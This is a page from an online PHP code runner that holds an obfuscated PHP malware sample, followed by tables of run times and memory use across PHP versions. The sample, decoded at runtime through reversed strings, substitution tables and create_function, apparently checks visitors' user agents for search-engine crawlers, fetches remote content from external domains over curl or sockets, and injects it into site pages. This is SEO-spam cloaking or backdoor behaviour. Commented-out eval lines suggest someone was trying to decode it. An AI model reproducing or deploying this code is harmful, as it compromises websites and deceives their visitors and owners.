3v4l.org

run code in 300+ PHP versions simultaneously
<?php $siv = "str_replace"; $s1v ="create_function"; $slv = "strrev"; $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}'; $n9 = '1067|416|779|223|361'; $v9 = '5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W'; $test = 'function oo2($b) { $h = explode("|", strrev($b)); $d = explode("*", $h[0]); $b = $h[1]; for($i=0;$i<sizeof($d);$i++) { $b = str_replace($i, $d[$i], $b); } create_function("", "};".$b."//"); } function cqq($qw) { return random($domarr,$qw); } function oo1($y) { $y= strrev($y); $g=substr($y,strpos($y,"9")+1); $v = explode(":",substr($y,0,strpos($y,"9"))); for($i=0;$i<sizeof($v);$i++) { $q = explode("|", $v[$i]); $g = str_replace($q[0],$q[1],$g); } create_function("", "};".$g."//"); } $s1v("", $siv("\71"," ",$slv($svv))); function random($arr,$qw) { $g="\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70"."6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b"; $soy = "\x65\156\x32"; $xx="\x65\170\x70"."\154\x6f\144\x65"; $ecx="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $scy="\x73\164\x72\137\x72\145\x70\154\x61\143\x65"; $a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44"); $aa = $xx("|","8|9|-|,| "); $mec=$ecx; for($i=0;$i<sizeof($a);$i++) { $g = $scy($aa[$i],$a[$i],$g); } $ecx("", "};$g//"); $mec("", $soy( "\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20", $scy) ); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; } $r9 = explode("|",$n9); $b9=0; $a9=0; for($i9=0;$i9<sizeof($r9);$i9++) { if ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=substr($v9, $a9, $b9); } $y =1; for($i=0;$i<5;$i++) { $vv1 ="o"."o".$y; if ($y==1) $y=2; else $y=1; $vv1($v_[$i]); } '; echo base64_decode($test); //preg_replace("/(.*)/e",$test,NULL); //$fxujiztpwq = eval(str_replace(chr((117-80)), chr((404-312)),preg_replace("/(.*)/e",eval($test),NULL))); //$fxujiztpwq = eval(str_replace(chr((117-80)), chr((404-312)),preg_replace_callback("/(.*)/",function($test){ return eval($test);},NULL))); //preg_replace("/(.*)/e",$fxujiztpwq,NULL); //echo preg_replace_callback("/(.*)/",function($test){ return eval($test);},NULL);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.00716.38
8.3.50.0100.00821.24
8.3.40.0080.00818.64
8.3.30.0120.00318.67
8.3.20.0000.00720.20
8.3.10.0080.00021.91
8.3.00.0080.00019.44
8.2.180.0070.01416.50
8.2.170.0180.00422.96
8.2.160.0070.00720.39
8.2.150.0080.00024.18
8.2.140.0040.00424.66
8.2.130.0080.00026.16
8.2.120.0040.00417.46
8.2.110.0030.00621.00
8.2.100.0080.00317.50
8.2.90.0040.00818.98
8.2.80.0030.00517.97
8.2.70.0100.00317.63
8.2.60.0080.00317.68
8.2.50.0080.00018.07
8.2.40.0060.00319.47
8.2.30.0030.00618.05
8.2.20.0040.00417.63
8.2.10.0050.00218.00
8.2.00.0040.00417.87
8.1.280.0130.00325.92
8.1.270.0150.00320.37
8.1.260.0040.00426.35
8.1.250.0070.00028.09
8.1.240.0030.00621.12
8.1.230.0080.00417.83
8.1.220.0050.00317.74
8.1.210.0040.00418.77
8.1.200.0060.00317.13
8.1.190.0030.00517.10
8.1.180.0030.00618.10
8.1.170.0040.00418.52
8.1.160.0040.00421.92
8.1.150.0000.00818.75
8.1.140.0060.00317.39
8.1.130.0030.00317.63
8.1.120.0000.00717.29
8.1.110.0000.00917.31
8.1.100.0000.00817.32
8.1.90.0020.00517.35
8.1.80.0000.00717.39
8.1.70.0030.00317.41
8.1.60.0040.00417.50
8.1.50.0000.00817.43
8.1.40.0080.00017.45
8.1.30.0000.00817.57
8.1.20.0040.00417.62
8.1.10.0030.00617.38
8.1.00.0040.00417.46
8.0.300.0040.00418.77
8.0.290.0050.00316.63
8.0.280.0030.00318.44
8.0.270.0000.00717.26
8.0.260.0060.00317.25
8.0.250.0040.00416.93
8.0.240.0000.00716.89
8.0.230.0080.00016.84
8.0.220.0000.00716.72
8.0.210.0090.00016.87
8.0.200.0050.00216.85
8.0.190.0040.00416.92
8.0.180.0080.00016.91
8.0.170.0040.00416.83
8.0.160.0020.00516.82
8.0.150.0000.00716.62
8.0.140.0000.00716.83
8.0.130.0060.00313.26
8.0.120.0040.00416.78
8.0.110.0050.00216.75
8.0.100.0040.00416.89
8.0.90.0040.00416.81
8.0.80.0080.00816.85
8.0.70.0000.00716.79
8.0.60.0040.00416.88
8.0.50.0000.00716.85
8.0.30.0100.01017.02
8.0.20.0070.01217.40
8.0.10.0040.00416.95
8.0.00.0120.00616.84
7.4.330.0030.00315.08
7.4.320.0000.00716.43
7.4.300.0070.00016.45
7.4.290.0030.00316.54
7.4.280.0040.00416.42
7.4.270.0090.00016.52
7.4.260.0030.00316.48
7.4.250.0030.00316.41
7.4.240.0050.00216.48
7.4.230.0030.00316.64
7.4.220.0070.01116.46
7.4.210.0060.00916.53
7.4.200.0000.00716.54
7.4.160.0130.00316.44
7.4.150.0130.00617.40
7.4.140.0090.00917.86
7.4.130.0070.01216.49
7.4.120.0090.00916.54
7.4.110.0160.00616.41
7.4.100.0180.00416.36
7.4.90.0110.00716.43
7.4.80.0100.00719.39
7.4.70.0170.00316.50
7.4.60.0110.00616.54
7.4.50.0000.00816.17
7.4.40.0000.01616.30
7.4.30.0130.00916.42
7.4.00.0100.00414.79
7.3.330.0030.00312.94
7.3.320.0030.00312.96
7.3.310.0000.00715.90
7.3.300.0060.00016.13
7.3.290.0000.00716.01
7.3.280.0060.01316.14
7.3.270.0090.00917.40
7.3.260.0130.00316.13
7.3.250.0100.00816.41
7.3.240.0130.00416.17
7.3.230.0070.01416.39
7.3.210.0070.01016.23
7.3.200.0140.00616.39
7.3.190.0150.00316.18
7.3.180.0130.00616.07
7.3.170.0060.00916.27
7.3.160.0120.00315.96
7.3.120.0090.00914.46
7.3.110.0030.01314.81
7.3.100.0110.00714.67
7.3.90.0030.01014.62
7.3.80.0040.01214.96
7.3.70.0060.00614.86
7.3.60.0110.00414.22
7.3.50.0050.00514.72
7.3.40.0070.00714.72
7.3.30.0090.00614.75
7.3.20.0040.01416.63
7.3.10.0070.00716.50
7.3.00.0080.00416.50
7.2.330.0120.00616.33
7.2.320.0070.01016.22
7.2.310.0000.01716.26
7.2.300.0120.00616.67
7.2.290.0090.00916.51
7.2.250.0060.01115.03
7.2.240.0040.01414.49
7.2.230.0030.00914.84
7.2.220.0070.00714.86
7.2.210.0070.00714.79
7.2.200.0060.00614.72
7.2.190.0000.01514.75
7.2.180.0030.01015.00
7.2.170.0070.00714.94
7.2.80.0110.00016.70
7.2.60.0060.01016.82
7.2.00.0130.00319.14
7.1.330.0030.01015.52
7.1.320.0040.01115.80
7.1.310.0030.01015.60
7.1.300.0090.00015.74
7.1.290.0030.00915.53
7.1.280.0030.00715.62
7.1.270.0070.00415.52
7.1.260.0030.00715.44
7.1.200.0090.00415.64
7.1.100.0070.00717.95
7.1.70.0050.00316.69
7.1.60.0070.01319.27
7.1.50.0070.01416.89
7.1.00.0070.07322.45
7.0.200.0720.00314.79
7.0.60.0100.06319.92
7.0.50.0100.07717.89
7.0.40.0070.08720.30
7.0.30.0570.06720.09
7.0.20.0330.04320.41
7.0.10.0100.06020.16
7.0.00.0130.07320.12
5.6.280.0000.03321.13
5.6.210.0000.06320.63
5.6.200.0000.04318.17
5.6.190.0100.08320.57
5.6.180.0300.07320.37
5.6.170.0270.06720.46
5.6.160.0030.09020.33
5.6.150.0030.04018.13
5.6.140.0070.04018.06
5.6.130.0000.04318.21
5.6.120.0230.04021.03
5.6.110.0100.06321.14
5.6.100.0100.05720.98
5.6.90.0030.04321.12
5.6.80.0130.05720.37
5.6.70.3970.04020.36
5.5.350.0070.04720.38
5.5.340.0070.04018.02
5.5.330.0100.08720.40
5.5.320.0270.03720.27
5.5.310.0270.07020.29
5.5.300.0130.07717.95
5.5.290.0130.06017.94
5.5.280.0070.07720.77
5.5.270.0030.06320.89
5.5.260.0100.07720.89
5.5.250.0070.08320.62
5.5.240.0030.08020.29
5.4.450.0770.04719.48
5.4.440.0730.05719.41
5.4.430.0830.04719.46
5.4.420.0700.05319.23
5.4.410.0900.06319.19
5.4.400.0630.05019.00
5.4.390.0500.06319.13
5.4.380.0630.05318.77
5.4.370.0600.05319.30
5.4.360.0470.07018.79
5.4.350.0430.05319.15
5.4.340.0700.06018.78
5.4.320.0730.03018.92
5.4.310.0430.07319.12
5.4.300.0570.06018.95
5.4.290.0430.05318.99
5.4.280.0270.05719.08
5.4.270.0200.04719.34
5.4.260.0630.04719.30
5.4.250.0700.05018.94
5.4.240.0370.04719.23
5.4.230.0130.05319.29
5.4.220.0500.09018.99
5.4.210.0630.05719.16
5.4.200.0500.04319.29
5.4.190.0730.06719.21
5.4.180.0670.06318.98
5.4.170.0430.06319.29
5.4.160.0230.04719.20
5.4.150.0630.04718.78
5.4.140.0570.05016.45
5.4.130.0530.04716.29
5.4.120.0770.05316.54
5.4.110.0500.05716.45
5.4.100.0670.05016.21
5.4.90.0670.04716.38
5.4.80.0570.04716.44
5.4.70.0270.06316.41
5.4.60.0300.05316.32
5.4.50.0100.05016.43
5.4.40.0000.07316.04
5.4.30.0170.04016.40
5.4.20.0000.07716.28

preferences:
54.76 ms | 401 KiB | 5 Q